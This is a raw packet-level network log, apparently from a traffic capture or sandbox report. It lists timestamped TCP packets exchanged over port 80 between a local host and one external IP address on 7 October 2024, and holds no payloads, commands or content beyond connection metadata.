Oct 7, 2024 03:15:45.643121958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643131018 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643157005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643170118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643173933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643192053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643198013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643210888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643218994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643237114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643256903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643256903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643277884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643295050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643299103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643316984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643335104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643357038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643372059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643399954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643400908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643415928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643425941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643436909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643441916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643457890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643466949 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643475056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643487930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643505096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643512964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643532038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643551111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643557072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643573999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643579960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643591881 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643594027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643608093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643611908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643630981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643636942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643651962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643662930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643676043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643677950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643696070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643697977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643712044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643718004 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643737078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643747091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643758059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643764019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643779039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643779993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643795967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643802881 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643821955 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643824100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643840075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643840075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643857002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643867970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643887043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643892050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643907070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643918991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643927097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643935919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643954039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643963099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643976927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643984079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643991947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644005060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644020081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644021988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644037008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644038916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644056082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644061089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644072056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644079924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644099951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644102097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644119978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644128084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644140959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644155025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644165039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644171000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644186974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644192934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644212008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644216061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644229889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644233942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644246101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644252062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644273043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644275904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644290924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644294977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644315004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644316912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644330025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644331932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644352913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644359112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644371033 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644387007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644396067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644416094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644426107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644432068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644457102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644459009 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644475937 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644478083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644493103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644496918 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644510031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644511938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644527912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644527912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644548893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644558907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644570112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644583941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644593954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644598961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644617081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644622087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644633055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644642115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644649982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644659042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644678116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644680023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644695044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644700050 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644711018 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644717932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644728899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644736052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644746065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644752026 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644763947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644783974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644809008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644833088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644848108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644862890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644876003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644876957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644893885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644897938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644910097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644925117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644926071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644942045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644952059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.644984961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.644992113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.645000935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.645020008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.645024061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.645034075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.645050049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.645071030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.646298885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.646353960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667104959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667166948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667196035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667243004 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667253017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667299986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667305946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667340994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667350054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667398930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667413950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667458057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667465925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667507887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667517900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667551041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667562008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667592049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667604923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667644024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667654037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667689085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667695999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667721987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667748928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667756081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667763948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667789936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667795897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667824984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667830944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667862892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667865038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667897940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667907000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667931080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.667939901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667975903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.667984009 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.668018103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.668026924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.668055058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.668059111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.668085098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.668100119 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.668118000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.668129921 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.668155909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.668158054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.668186903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.668195963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.668220043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.668226957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.668251991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.668258905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.668292999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.668299913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.668329000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.668330908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.668364048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.668374062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.668402910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.668411970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.668441057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.730144978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730202913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730247974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.730257988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730294943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.730309963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.730313063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730360985 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.730367899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730406046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730416059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.730458975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730462074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.730494022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730509996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.730541945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.730571032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730602026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730663061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730698109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730731964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730784893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730817080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730849981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730901003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.730971098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731002092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731038094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731067896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731123924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731177092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731229067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731265068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731295109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731326103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731360912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731426001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731461048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731493950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731543064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731575012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731610060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731642008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731677055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731709003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731749058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731781960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731815100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731848001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731884003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731915951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731929064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.731952906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731962919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.731987000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.731993914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732023954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732029915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732060909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732064962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732095003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732100010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732129097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732135057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732161999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732162952 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732198954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732203960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732237101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732249975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732271910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732276917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732307911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732314110 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732342005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732346058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732378006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732381105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732413054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732418060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732449055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732453108 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732481956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732489109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732518911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732518911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732548952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.732561111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.732589006 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.759025097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.764009953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974045038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974087000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974150896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974189043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.974189997 CEST	49737	80	192.168.2.4	95.164.90.97
